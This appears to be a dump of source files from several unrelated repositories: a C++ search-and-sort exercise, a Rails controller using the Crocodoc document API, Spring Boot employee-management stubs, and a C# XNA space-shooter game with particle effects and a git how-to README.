//While loop filters through array and exchanges position until value is found
while (!found && first <= last) {
middle = (first + last) / 2;
if (list[middle] == value) {
found = true;
position = middle;
}else if (list[middle] > value) {
last = middle - 1;
}
else {
first = middle + 1;
}
count++; //Counter
}
//Display results
displayResults(count, value, position);
return position;
}
//Function displays results of searches
void displayResults(int count, int value, int position) {
//Displays a message if value isn't found
if (position == -1) {
cout << "After " << count << " comparison(s). We were unable to find " << value << endl;
}
//Displays message if value is found
else {
cout << "After " << count << " comparison(s). We finally found " << value
<< " at randomNums[" << position << "]" << endl;
}
}
//Function sorts array by accesending order
void sortArray(int array[], int size) {
//Declare variables
int minIndex, minValue;
//Conduct a selection sort
for (int start = 0; start < (size - 1); start++) {
minIndex = start;
minValue = array[start];
for (int index = start + 1; index < size; index++) {
if (array[index] < minValue) {
minValue = array[index];
minIndex = index;
}
}
swap(array[minIndex], array[start]);
}
}
//Swap function for selection sort
void swap(int& a, int& b) {
int temp = a;
a = b;
b = temp;
}
|
fa3abb6a1585897b0762de51db53635f613ae31b
|
[
"C++"
] | 13 |
C++
|
tacallegari/COP2220
|
eb81774e5c665050fd27a8c97e501511805b9c81
|
bdf1e06830380201dd7cfdc58211cbdc11ccca87
|
refs/heads/master
|
<file_sep>require 'rest-client'
require 'json'
class DocumentsController < ApplicationController
# GET /documents
# GET /documents.json
def index
@documents = Document.all
@api_token = "<KEY>"
respond_to do |format|
format.html # index.html.erb
format.json { render json: @documents }
end
end
# GET /documents/1
# GET /documents/1.json
def show
@document = Document.find(params[:id])
@doc_uuid = @document.uuid
@api_token = "<KEY>"
@result = JSON.parse(RestClient.post "https://crocodoc.com/api/v2/session/create", "token=#{@api_token}&uuid=#{@doc_uuid}&editable=true&user=1,Jamie")
@session = @result["session"]
respond_to do |format|
format.html # show.html.erb
format.json { render json: @document }
end
end
# GET /documents/new
# GET /documents/new.json
def new
@document = Document.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @document }
end
end
# GET /documents/1/edit
def edit
@document = Document.find(params[:id])
end
# POST /documents
# POST /documents.json
def create
@document = Document.new(params[:document])
@api_token = "<KEY>"
respond_to do |format|
if @document.save
format.html { redirect_to @document, notice: 'Document was successfully created.' }
format.json { render json: @document, status: :created, location: @document }
else
format.html { render action: "new" }
format.json { render json: @document.errors, status: :unprocessable_entity }
end
end
end
# PUT /documents/1
# PUT /documents/1.json
def update
@document = Document.find(params[:id])
respond_to do |format|
if @document.update_attributes(params[:document])
format.html { redirect_to @document, notice: 'Document was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @document.errors, status: :unprocessable_entity }
end
end
end
# DELETE /documents/1
# DELETE /documents/1.json
def destroy
@document = Document.find(params[:id])
@document.destroy
respond_to do |format|
format.html { redirect_to documents_url }
format.json { head :no_content }
end
end
def upload
@document = Document.new
# RestClient.post 'https://crocodoc.com/api/v2/document/upload/token=<KEY>', :file => File.new(document, 'rb')
# RestClient.post "https://crocodoc.com/api/v2/document/upload/", "token=#{params[:token]}&file=#{params[:document].original_filename}"
end
def getuuid
@document = Document.new
@result = JSON.parse(RestClient.post "https://crocodoc.com/api/v2/document/upload?", :token => "<KEY>", :url => "#{params[:url]}")
@document.uuid = @result["uuid"]
@document.save
redirect_to documents_url
end
end
<file_sep>class Document < ActiveRecord::Base
attr_accessible :uuid
end
<file_sep>MetadocApp::Application.routes.draw do
get 'upload', :controller => 'documents', :action => 'upload'
post 'upload', :controller => 'documents', :action => 'getuuid'
resources :users
resources :documents
end
|
a02d01e1251c2569e9ae04577c1dd94cc803d2b5
|
[
"Ruby"
] | 3 |
Ruby
|
scottweisman/metadoc_app
|
5ed290123eae6c06c9f042aedee1b4ef3edbc770
|
8a369b5b86e0b70e3b58d5e69221ef7be2086780
|
refs/heads/master
|
<file_sep>package com.test.hrsmproject;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class HrsmprojectApplication {
public static void main(String[] args) {
SpringApplication.run(HrsmprojectApplication.class, args);
}
}
<file_sep>package com.test.hrsmproject.Service;
import com.test.hrsmproject.Model.Employee;
import com.test.hrsmproject.Service.EmployeeService;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public interface EmployeeService {
List<Employee> getAllEmployees();
void saveEmployee(Employee employee);
Employee getEmployeeById(long id);
void deleteEmployeeById(long id);
}
<file_sep>Spring Boot CRUD Web Application with Thymeleaf, Spring MVC, Spring Data JPA, Hibernate, MySQL
In this project a Spring MVC web application has been created for Employee Management System with the following CRUD operations
- Get all the employees
- Add a new employee
- Update an employee
- Delete an employee
<file_sep>package com.test.hrsmproject.Repository;
import com.test.hrsmproject.Model.Employee;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.stereotype.Repository;
import com.test.hrsmproject.Service.EmployeeService;
@Repository
public interface EmployeeRepository extends JpaRepository<Employee,Long> {
}
|
013cdf4a536fd391019ff28f984b7c632b2eb8a5
|
[
"Markdown",
"Java"
] | 4 |
Java
|
ozzgurplt/Spring_Boot_Thymeleaf
|
b56fb3980991b4ddcfb57c7a336036d0f8e71a84
|
19f78aa6c460d92f67d9370a7fe74d63b4fa379f
|
refs/heads/master
|
<repo_name>JeffPit/idea-game<file_sep>/Wizards/Wizards/Particle.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
namespace Wizards
{
//basic particle class that maintains information about its own location, velocity
//scale, and lifetime.
//It is up to the ParticleEffect to draw particles with the appropriate texture
//as well as delete them when their life has expired
class Particle
{
public static Texture2D BlankParticleTexture;
public Vector2 Position, Velocity, Acceleration;
public float Scale, Angle;
public float LifeTime; //how many seconds the particle has left to exist
public Color ParticleColor;
public Particle()
{
LifeTime = 0;
Position = Velocity = Acceleration = Vector2.Zero;
Scale = 1.0f;
Angle = 0.0f;
ParticleColor = Color.White;
}
/// <summary>
/// Create a new particle
/// </summary>
/// <param name="theLife">The number of frames the particle should exist for</param>
/// <param name="thePosition">Initial Particle Location</param>
/// <param name="theVelocity">Initial Particle Velocity</param>
/// <param name="theAcceleration">Initial Particle Acceleration</param>
public Particle(float theLife, Vector2 thePosition, Vector2 theVelocity, Vector2 theAcceleration)
{
LifeTime = theLife;
Position = thePosition;
Velocity = theVelocity;
Acceleration = theAcceleration;
Scale = 9.0f;
Angle = 0.0f;
ParticleColor = Color.White;
}
public Particle(float theLife, Vector2 thePosition, Vector2 theVelocity, Vector2 theAcceleration, Color theColor, float theScale = 0.0f, float theAngle = 0.0f)
: this(theLife, thePosition, theVelocity, theAcceleration)
{
ParticleColor = theColor;
Scale = theScale;
Angle = theAngle;
}
public void Update(GameTime theGameTime)
{
Velocity += Acceleration * (float)theGameTime.ElapsedGameTime.TotalSeconds;
Position += Velocity * (float)theGameTime.ElapsedGameTime.TotalSeconds;
LifeTime-= (float)theGameTime.ElapsedGameTime.TotalSeconds; //Decrement Life, Particle Effect should remove this particle if it reaches 0
}
public void Draw(SpriteBatch theSpriteBatch)
{
Vector2 rotationCenter = new Vector2(0.5f, 0.5f);
//Draw arguments: texture location section(all) color rotation rotation axis (center) scale effects depth
theSpriteBatch.Draw(BlankParticleTexture, Position, null, ParticleColor, Angle, rotationCenter, Scale, SpriteEffects.None, 0);
}
}
}
<file_sep>/Wizards/Wizards/ExhaustParticle.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
namespace Wizards
{
class ExhaustParticle : Particle
{
//how much to expand particle each frame
private const float scalePerUpdate = 1.5f;
//how much to change each color component each frame
private const byte redDecrement = 7;
private const byte greenIncrement = 3;
private const byte blueIncrement = 3;
private const byte alphaDecrement = 15;
public ExhaustParticle()
: base(0, Vector2.Zero, Vector2.Zero, Vector2.Zero, Color.Red, 2.0f)
{ }
public ExhaustParticle(int theLife, Vector2 thePosition, Vector2 theVelocity, Vector2 theAcceleration)
: base(theLife, thePosition, theVelocity, theAcceleration, Color.Red, 2.0f)
{}
public void Update(GameTime theGameTime)
{
//exhaust particles will expand every frame and fade to gray before disappearing (to look like smoke)
Scale += scalePerUpdate;
ParticleColor.R -= redDecrement;
ParticleColor.G += greenIncrement;
ParticleColor.B += blueIncrement;
ParticleColor.A -= alphaDecrement;
Angle += 0.5f;
base.Update(theGameTime);
}
}
}
<file_sep>/Wizards/Wizards/MouseIcon.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Storage;
using Microsoft.Xna.Framework.Input;
using Microsoft.Xna.Framework.Content;
using Microsoft.Xna.Framework.Graphics;
namespace Wizards
{
class MouseIcon : Sprite
{
const string WIZARD_ASSETNAME = "Fireball";
const int START_POSITION_X = 0;
const int START_POSITION_Y = 0;
enum State
{
Walking
}
State mCurrentState = State.Walking;
Vector2 mDirection = Vector2.Zero;
Vector2 mSpeed = Vector2.Zero;
MouseState currMouse;
public void LoadContent(ContentManager theContentManager)
{
Position = new Vector2(START_POSITION_X, START_POSITION_Y);
base.LoadContent(theContentManager, WIZARD_ASSETNAME);
Scale = 0.1f;
}
public void Update()
{
MouseState ms = Mouse.GetState();
currMouse = ms;
base.Update(ms);
}
}
}<file_sep>/Wizards/Wizards/Game1.cs
using System;
using System.Collections.Generic;
using System.Linq;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Audio;
using Microsoft.Xna.Framework.Content;
using Microsoft.Xna.Framework.GamerServices;
using Microsoft.Xna.Framework.Graphics;
using Microsoft.Xna.Framework.Input;
using Microsoft.Xna.Framework.Media;
namespace Wizards
{
/// <summary>
/// This is the main type for your game
/// </summary>
public class Game1 : Microsoft.Xna.Framework.Game
{
GraphicsDeviceManager graphics;
SpriteBatch spriteBatch;
List<Fire> balls = new List<Fire>();
List<Enemy> enemies = new List<Enemy>();
TimeSpan minForFire = TimeSpan.FromMilliseconds(200);
TimeSpan totalForFireElapsed;
TimeSpan minForSpawn = TimeSpan.FromMilliseconds(5000);
TimeSpan totalForSpawnElapsed;
Knight player = new Knight();
MouseIcon mMouseIconSprite = new MouseIcon();
//Debugging
public Game1()
{
graphics = new GraphicsDeviceManager(this);
Content.RootDirectory = "Content";
}
/// <summary>
/// Allows the game to perform any initialization it needs to before starting to run.
/// This is where it can query for any required services and load any non-graphic
/// related content. Calling base.Initialize will enumerate through any components
/// and initialize them as well.
/// </summary>
protected override void Initialize()
{
// TODO: Add your initialization logic here
//balls.Add(new Knight());
//balls.Add(new MouseIcon());
player = new Knight();
mMouseIconSprite = new MouseIcon();
totalForFireElapsed = TimeSpan.FromMilliseconds(200);
totalForSpawnElapsed = TimeSpan.Zero;
base.Initialize();
}
/// <summary>
/// LoadContent will be called once per game and is the place to load
/// all of your content.
/// </summary>
protected override void LoadContent()
{
// Create a new SpriteBatch, which can be used to draw textures.
spriteBatch = new SpriteBatch(GraphicsDevice);
// TODO: use this.Content to load your game content here
/*foreach (Fire a in balls)
{
a.LoadContent(this.Content);
}*/
player.LoadContent(this.Content);
mMouseIconSprite.LoadContent(this.Content);
//Load single white pixel for particle texture
Particle.BlankParticleTexture = Content.Load<Texture2D>("BlankParticle");
}
/// <summary>
/// UnloadContent will be called once per game and is the place to unload
/// all content.
/// </summary>
protected override void UnloadContent()
{
// TODO: Unload any non ContentManager content here
}
/// <summary>
/// Allows the game to run logic such as updating the world,
/// checking for collisions, gathering input, and playing audio.
/// </summary>
/// <param name="gameTime">Provides a snapshot of timing values.</param>
protected override void Update(GameTime gameTime)
{
// Allows the game to exit
if (GamePad.GetState(PlayerIndex.One).Buttons.Back == ButtonState.Pressed)
this.Exit();
// TODO: Add your update logic here
mMouseIconSprite.Update();
player.Update(gameTime, graphics);
MouseState ms = Mouse.GetState();
UpdateFire(ms, gameTime);
SpawnEnemy(gameTime);
foreach (Fire a in balls) // Loop through List with foreach
{
a.Update(gameTime);
}
foreach (Enemy a in enemies) // Loop through List with foreach
{
a.Update(gameTime, player.Position, player.Size);
}
removeLostBalls();
checkFireEnemyCollision();
base.Update(gameTime);
}
private void checkFireEnemyCollision()
{
List<Fire> fireToDelete = new List<Fire>();
List<Enemy> enemyToDelete = new List<Enemy>();
float firePosX, firePosY, enemyPosX, enemyPosY, enemyOffsetX, enemyOffsetY;
foreach (Fire a in balls)
{
firePosX = a.Position.X + (a.Size.Width/2);
firePosY = a.Position.Y + (a.Size.Width/2);
foreach (Enemy b in enemies)
{
enemyPosX = b.Position.X;
enemyPosY = b.Position.Y;
enemyOffsetX = b.Position.X + b.Size.Width;
enemyOffsetY = b.Position.Y + b.Size.Width;
if (firePosX > enemyPosX && firePosX < enemyOffsetX && firePosY > enemyPosY && firePosY < enemyOffsetY)
{
fireToDelete.Add(a);
enemyToDelete.Add(b);
}
}
}
foreach (Fire a in fireToDelete)
{
balls.Remove(a);
}
foreach (Enemy a in enemyToDelete)
{
enemies.Remove(a);
}
}
private void removeLostBalls()
{
List<Fire> toDelete = new List<Fire>();
foreach (Fire a in balls)
{
// If the fireball is off the screen - delete it.
if (a.Position.X < 0 || a.Position.Y < 0 || a.Position.X > graphics.GraphicsDevice.Viewport.Width || a.Position.Y > graphics.GraphicsDevice.Viewport.Height)
{
toDelete.Add(a);
}
}
foreach (Fire a in toDelete)
{
balls.Remove(a);
}
}
private void SpawnEnemy(GameTime gameTime)
{
if (((totalForSpawnElapsed += gameTime.ElapsedGameTime) > minForSpawn) && enemies.Count < 5)
{
Enemy a = new Enemy(graphics);
a.LoadContent(this.Content);
totalForSpawnElapsed = TimeSpan.Zero;
enemies.Add(a);
}
}
private void UpdateFire(MouseState ms, GameTime gameTime)
{
if (ms.LeftButton == ButtonState.Pressed && (totalForFireElapsed += gameTime.ElapsedGameTime) > minForFire)
{
Vector2 adjustedPlayPos = player.Position;
adjustedPlayPos.X += (player.Size.Width/2);
adjustedPlayPos.Y += (player.Size.Height/2);
Fire a = new Fire(adjustedPlayPos, mMouseIconSprite.Position);
a.LoadContent(this.Content);
totalForFireElapsed = TimeSpan.Zero;
balls.Add(a);
}
}
/// <summary>
/// This is called when the game should draw itself.
/// </summary>
/// <param name="gameTime">Provides a snapshot of timing values.</param>
protected override void Draw(GameTime gameTime)
{
GraphicsDevice.Clear(Color.CornflowerBlue);
// TODO: Add your drawing code here
spriteBatch.Begin();
foreach (Fire a in balls) // Loop through List with foreach
{
a.Draw(spriteBatch);
}
foreach (Enemy a in enemies) // Loop through List with foreach
{
a.Draw(spriteBatch);
}
player.Draw(spriteBatch);
mMouseIconSprite.Draw(spriteBatch);
spriteBatch.End();
base.Draw(gameTime);
}
}
}
<file_sep>/Wizards/Wizards/ThrusterParticleEffect.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
namespace Wizards
{
class ThrusterParticleEffect : ParticleEffect
{
//Default particle spawning variance parameters -- play around till it looks right
private const float defaultParticleLife = 0.3f;
private const float defaultParticleLifeSpread = 0.08f;
private const int defaultSpawnDensity = 5;
static Vector2 defaultPositionSpread = new Vector2(10, 10);
static Vector2 defaultVelocitySpread = new Vector2(30, 30);
static Vector2 defaultAccelerationSpread = new Vector2(0, 0);
public ThrusterParticleEffect(Vector2 thePosition, Vector2 theVelocity, Vector2 theAcceleration)
: base(thePosition, defaultPositionSpread,
theVelocity, defaultVelocitySpread,
theAcceleration, defaultAccelerationSpread,
defaultParticleLife, defaultParticleLifeSpread,
defaultSpawnDensity)
{ }
public void Update(GameTime theGameTime)
{
//Traverse in reverse to allow removal
for(int i = mParticles.Count - 1 ; i >= 0 ; i--)
{
if (mParticles[i].LifeTime <= 0)
{
mParticles.Remove(mParticles[i]);
}
else
{//must explicitly cast to ExhaustParticle to get proper update method
((ExhaustParticle)(mParticles[i])).Update(theGameTime);
}
}
}
public void Update(GameTime theGameTime, Vector2 newPosition)
{
SourcePosition = newPosition;
this.Update(theGameTime);
}
/// <summary>
/// Spawn new exhaust particles at the given angle
/// Set angle to 0 for upward, 90 for right, 180 for down, 270 for left
/// </summary>
/// <param name="rotationAngle"></param>
public void Spawn(float rotationAngle)
{
//spawn a number of particles determined by spawndensity
for (int i = 0; i < SpawnDensity; i++)
{
base.AddNewParticle(new ExhaustParticle(), rotationAngle);
}
}
}
}
<file_sep>/Wizards/Wizards/Sprite.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Content;
using Microsoft.Xna.Framework.Input;
using Microsoft.Xna.Framework.Graphics;
namespace Wizards
{
class Sprite
{
//The asset name for the Sprite's Texture
public string AssetName;
//The Size of the Sprite (with scale applied)
public Rectangle Size;
//The amount to increase/decrease the size of the original sprite.
private float mScale = 0.1f;
private float angle = 0.0f;
//The current position of the Sprite
public Vector2 Position = new Vector2(0, 0);
//The texture object used when drawing the sprite
private Texture2D mSpriteTexture;
//Load the texture for the sprite using the Content Pipeline
public void LoadContent(ContentManager theContentManager, string theAssetName)
{
mSpriteTexture = theContentManager.Load<Texture2D>(theAssetName);
AssetName = theAssetName;
Size = new Rectangle(0, 0, (int)(mSpriteTexture.Width * Scale), (int)(mSpriteTexture.Height * Scale));
}
//Draw the sprite to the screen
public void Draw(SpriteBatch theSpriteBatch)
{
theSpriteBatch.Draw(mSpriteTexture, Position, new Rectangle(0, 0, mSpriteTexture.Width, mSpriteTexture.Height), Color.White, angle, Vector2.Zero, Scale, SpriteEffects.None, 0);
}
//When the scale is modified throught he property, the Size of the
//sprite is recalculated with the new scale applied.
public float Scale
{
get { return mScale; }
set
{
mScale = value;
//Recalculate the Size of the Sprite with the new scale
Size = new Rectangle(0, 0, (int)(mSpriteTexture.Width * Scale), (int)(mSpriteTexture.Height * Scale));
}
}
//Player Update
public void Update(GameTime theGameTime, Vector2 theSpeed, Vector2 theDirection, GraphicsDeviceManager graphics)
{
Vector2 nextPos = Position;
nextPos += theDirection * theSpeed * (float)theGameTime.ElapsedGameTime.TotalSeconds;
if (nextPos.X < 0)
{
nextPos.X = 0;
}
if (nextPos.Y < 0)
{
nextPos.Y = 0;
}
if ((nextPos.X + Size.Width) > graphics.GraphicsDevice.Viewport.Width)
{
nextPos.X = graphics.GraphicsDevice.Viewport.Width - Size.Width;
}
if ((nextPos.Y + Size.Height) > graphics.GraphicsDevice.Viewport.Height)
{
nextPos.Y = graphics.GraphicsDevice.Viewport.Height - Size.Height;
}
Position = nextPos;
}
// Enemy/Fireball Update
public void Update(GameTime theGameTime, Vector2 theSpeed, Vector2 theDirection, float angle)
{
Vector2 nextPos = Position;
nextPos += theDirection * theSpeed * (float)theGameTime.ElapsedGameTime.TotalSeconds;
Position = nextPos;
this.angle = angle;
}
// TODO: New Enemy Update
/*public void Update(GameTime theGameTime, Vector2 theSpeed, Vector2 theDirection, Vector2 playerPos)
{
Vector2 nextPos = Position;
nextPos += theDirection * theSpeed * (float)theGameTime.ElapsedGameTime.TotalSeconds;
Position = nextPos;
}*/
// Mouse Update
public void Update(MouseState ms)
{
#if WINDOWS
Position.X = ms.X;
Position.Y = ms.Y;
#endif
}
}
}
<file_sep>/Wizards/Wizards/Fire.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Storage;
using Microsoft.Xna.Framework.Input;
using Microsoft.Xna.Framework.Content;
using Microsoft.Xna.Framework.Graphics;
namespace Wizards
{
class Fire : Sprite
{
const string WIZARD_ASSETNAME = "Fireball";
int START_POSITION_X = 0;
int START_POSITION_Y = 0;
const int WIZARD_SPEED = 400;
enum State
{
Walking
}
State mCurrentState = State.Walking;
Vector2 mDirection = Vector2.Zero;
Vector2 mSpeed = Vector2.Zero;
float angle;
public Fire(Vector2 pos, Vector2 pos2)
{
START_POSITION_X = (int)pos.X;
START_POSITION_Y = (int)pos.Y;
mDirection = pos2 - pos;
float mDirectionLength = (float)(Math.Sqrt(mDirection.X * mDirection.X + mDirection.Y * mDirection.Y));
mDirection = mDirection / mDirectionLength;
mSpeed.X = WIZARD_SPEED;
mSpeed.Y = WIZARD_SPEED;
calcAngle();
}
private void calcAngle()
{
Vector2 reference;
float temp;
reference.X = 1;
reference.Y = 0;
temp = (reference.X * mDirection.X) + (reference.Y * mDirection.Y);
angle = (float)Math.Acos(temp);
if (reference.Y-mDirection.Y > 0)
{
angle = (float)((2*Math.PI) - angle);
}
}
public void LoadContent(ContentManager theContentManager)
{
Position = new Vector2(START_POSITION_X, START_POSITION_Y);
base.LoadContent(theContentManager, WIZARD_ASSETNAME);
Scale = 0.1f;
}
public void Update(GameTime theGameTime)
{
base.Update(theGameTime, mSpeed, mDirection, angle);
}
}
}
<file_sep>/Wizards/Wizards/ParticleEffect.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
namespace Wizards
{
//manages a group of related particles in a list
//calls particle update and draw methods and can spawn new particles
class ParticleEffect
{
public static Random Rand = new Random();
public Vector2 SourcePosition; //Point from which new particles spawn
public Vector2 PositionSpread; //Randomness in spawn location for each particle
public Vector2 BaseVelocity; //Default velocity for spawned particles
public Vector2 VelocitySpread; //Randomness in velocity for each particle
public Vector2 BaseAcceleration; //Default Acceleration for spawned particles
public Vector2 AccelerationSpread; //Randomness in Acceleration for each particle
public float DefaultParticleLife, ParticleLifeSpread; //Default particle lifetime (see particle class)
public int SpawnDensity; //number of particles created per spawn call
protected List<Particle> mParticles; //list of living particles
/// <summary>
/// Create a new particle generator at the given location
/// If it is anchored to a moving object, Position should be updated every frame by its owner
/// </summary>
/// <param name="thePosition">Source Location for spawned particles</param>
/// <param name="theVelocity">Velocity for spawned particles</param>
/// <param name="theAcceleration">Acceleration for spawned particles</param>
/// <param name="theParticleLife">How long spawned particles will exist</param>
/// <param name="theSpawnDensity">How many particles to spawn per call</param>
public ParticleEffect(Vector2 thePosition, Vector2 theVelocity, Vector2 theAcceleration, float theParticleLife, int theSpawnDensity = 1)
{
SourcePosition = thePosition;
BaseVelocity = theVelocity;
BaseAcceleration = theAcceleration;
PositionSpread = VelocitySpread = AccelerationSpread = Vector2.Zero;
DefaultParticleLife = theParticleLife;
SpawnDensity = theSpawnDensity;
mParticles = new List<Particle>();
}
/// <summary>
/// Create a new particle generator with randomness in particle spawning factors
/// Each provided spread argument causes new particles to be spawned with
/// A random number between 0 and theSpread added to the corresponding parameter
/// </summary>
/// <param name="thePosition"></param>
/// <param name="thePositionSpread"></param>
/// <param name="theVelocity"></param>
/// <param name="theVelocitySpread"></param>
/// <param name="theAcceleration"></param>
/// <param name="theAccelerationSpread"></param>
public ParticleEffect(Vector2 thePosition, Vector2 thePositionSpread, Vector2 theVelocity, Vector2 theVelocitySpread,
Vector2 theAcceleration,Vector2 theAccelerationSpread, float theParticleLife, float theParticleLifeSpread, int theSpawnDensity = 1)
:this(thePosition, theVelocity, theAcceleration, theParticleLife, theSpawnDensity)
{
PositionSpread = thePositionSpread;
VelocitySpread = theVelocitySpread;
AccelerationSpread = theAccelerationSpread;
ParticleLifeSpread = theParticleLifeSpread;
}
/// <summary>
/// Generate a number of new particles equal to the effect's ParticleDensity
/// </summary>
public void Spawn()
{
//spawn a number of particles determined by spawndensity
for (int i = 0; i < SpawnDensity; i++)
{
AddNewParticle(new Particle());
}
}
/// <summary>
/// For internal use within the Spawn method of ParticleEffect and its subclasses
/// Sets the particle's position, velocity, acceleration, and lifetime
/// Can pass in a subclass of Particle for more specific behavior
/// </summary>
/// <param name="particle">A Particle, or subclass thereof, to adjust the parameters of and add to the particle list</param>
protected void AddNewParticle(Particle particle)
{
//add randomness in positioning, movement, and life
particle.Position = addRandomSpread(SourcePosition, PositionSpread);
particle.Velocity = addRandomSpread(BaseVelocity, VelocitySpread);
particle.Acceleration = addRandomSpread(BaseAcceleration, AccelerationSpread);
particle.LifeTime = addRandomSpread(DefaultParticleLife, ParticleLifeSpread);
mParticles.Add(particle);
}
/// <summary>
/// For internal use within the Spawn method of ParticleEffect and its subclasses
/// Sets the particle's position, velocity, acceleration, and lifetime
/// Velocity and acceleration are rotated by angle degrees
/// Can pass in a subclass of Particle for more specific behavior
/// </summary>
/// <param name="particle">A Particle, or subclass thereof, to adjust the parameters of and add to the particle list</param>
protected void AddNewParticle(Particle particle, float angle)
{
Matrix rotMatrix = Matrix.CreateRotationZ(MathHelper.ToRadians(angle));
//add randomness in positioning, movement, and life
particle.Position = addRandomSpread(SourcePosition, PositionSpread);
particle.Velocity = Vector2.Transform(addRandomSpread(BaseVelocity, VelocitySpread), rotMatrix);
particle.Acceleration = Vector2.Transform(addRandomSpread(BaseAcceleration, AccelerationSpread), rotMatrix);
particle.LifeTime = addRandomSpread(DefaultParticleLife, ParticleLifeSpread);
mParticles.Add(particle);
}
/// <summary>
/// Call Update on each of its particles and remove expired particles
/// </summary>
/// <param name="theGameTime">Provides a snapshot of timing values.</param>
public void Update(GameTime theGameTime)
{
//Traverse in reverse to allow removal
for(int i = mParticles.Count - 1 ; i >= 0 ; i--)
{
if (mParticles[i].LifeTime <= 0)
mParticles.Remove(mParticles[i]);
else
mParticles[i].Update(theGameTime);
}
}
/// <summary>
/// Call Update on each of its particles and remove expired particles
/// Also updates position to provided position vector
/// Use to keep a particle effect anchored to a moving sprite
/// </summary>
/// <param name="theGameTime">Provides a snapshot of timing values.</param>
public void Update(GameTime theGameTime, Vector2 newPosition)
{
SourcePosition = newPosition;
this.Update(theGameTime);
}
public void Draw(SpriteBatch sb)
{
foreach (Particle particle in mParticles)
particle.Draw(sb);
}
private Vector2 addRandomSpread(Vector2 baseVector, Vector2 spreadVector)
{
float x = baseVector.X + spreadVector.X * (1.0f - 2 * (float)Rand.NextDouble());
float y = baseVector.Y + spreadVector.Y * (1.0f - 2 * (float)Rand.NextDouble());
return new Vector2(x, y);
}
private float addRandomSpread(float baseFloat, float spread)
{
return baseFloat + (1.0f - 2 * (float)Rand.NextDouble()) * spread ;
}
}
}
<file_sep>/Wizards/Wizards/Enemy.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Storage;
using Microsoft.Xna.Framework.Input;
using Microsoft.Xna.Framework.Content;
using Microsoft.Xna.Framework.Graphics;
namespace Wizards
{
class Enemy : Sprite
{
const string WIZARD_ASSETNAME = "CatCreature";
int START_POSITION_X = 0;
int START_POSITION_Y = 0;
const int WIZARD_SPEED = 100;
float angle = 0.0f;
enum State
{
Walking
}
State mCurrentState = State.Walking;
Vector2 mDirection = Vector2.Zero;
Vector2 mSpeed = Vector2.Zero;
public Enemy(GraphicsDeviceManager graphics)
{
Random generator = new Random();
START_POSITION_X = generator.Next(graphics.GraphicsDevice.Viewport.Width);
START_POSITION_Y = generator.Next(graphics.GraphicsDevice.Viewport.Height);
mSpeed.X = WIZARD_SPEED;
mSpeed.Y = WIZARD_SPEED;
}
public void LoadContent(ContentManager theContentManager)
{
Position = new Vector2(START_POSITION_X, START_POSITION_Y);
base.LoadContent(theContentManager, WIZARD_ASSETNAME);
Scale = 0.3f;
}
public void Update(GameTime theGameTime, Vector2 playerPos, Rectangle playerSize)
{
playerPos.X += (playerSize.Width/2);
playerPos.Y += (playerSize.Height/2);
Vector2 adjsPos = Position;
adjsPos.X += (Size.Width/2);
adjsPos.Y += (Size.Height/2);
mDirection = playerPos - adjsPos;
float mDirectionLength = (float)(Math.Sqrt(mDirection.X * mDirection.X + mDirection.Y * mDirection.Y));
mDirection = mDirection / mDirectionLength;
base.Update(theGameTime, mSpeed, mDirection, angle);
}
}
}
<file_sep>/README.md
## Game description
### Backstory
You are a lone space traveler whose ship has been impaired. Unfortunately, the
parts you need to repair your ship have fallen into the black hole, and you
have no way to get them out.
### Gameplay synopsis
Kill dangerous enemies that are trying to kill you, or trick them into being
sucked into the black hole. If enough things fall into the black hole, it will
violently eject its contents, giving you a chance to recover the ship parts
you need.
### Player mechanics
* WASD for movement
* Mouse for aiming
* Grappling hook (this is extra fun with space physics!)
* Multi-dimensional magnetic boots that anchor you in place
### Level mechanics
#### Space levels
* Black hole somewhere on the border that sucks things toward it
* Enemies spawning around the border of the screen. See types of enemies
below.
#### Non-space levels ??
### Specific enemies
#### Goblin (in space suits?)
The typical, basic grunt unit.
#### Leprechaun
Ranged unit that attacks by throwing coins at you.
#### Unicorn
Relatively neutral unit that appears on a side of the screen, prepares, and
then charges across the screen, damaging anything in his path and leaving
behind a temporary rainbow bridge that can be utilized to quickly travel
across the screen. It may or may not be possible to latch onto one with your
grappling hook, and even if it is, the effects may be deadly...
#### Ogers
Heavy unit that has a slight gravitational pull and possibly also a large
attack that can dangerously launch other enemies at you.
## How to work on code for the game
Assuming you have already forked and cloned the repository and set up
the upstream remote (if not, read the sections below):
1. Download any changes from upstream.
$ git fetch upstream
2. Start a new branch based on upstream/master.
$ git checkout upstream/master
$ git checkout -b newbranchname
3. Start coding! Commit often!
4. Push your commits to your Github repository so others can look at them.
### Useful Git commands
# BEST COMMAND EVER
$ git status
# Stage changed files
$ git add <file>
# Commit staged changes
$ git commit -m "<commit message>"
# List all branches on your computer
$ git branch -a
# Check out a branch
$ git checkout
# Make a new branch based on the currently-checked-out branch
$ git checkout -b <new branch name>
# Display the commit log
$ git log
# Add a named remote repository
$ git remote add <remote name> <remote url>
# Download updates from a remote repository
$ git fetch <remote name>
# Rebase your current branch on top of another branch
# This is most likely what you should do if you have made some commits
# but there are new commits in the master repository that you want to
# include.
$ git rebase <branch name>
|
da97611a537feabd305fd096d34984a5c8d0e371
|
[
"Markdown",
"C#"
] | 10 |
C#
|
JeffPit/idea-game
|
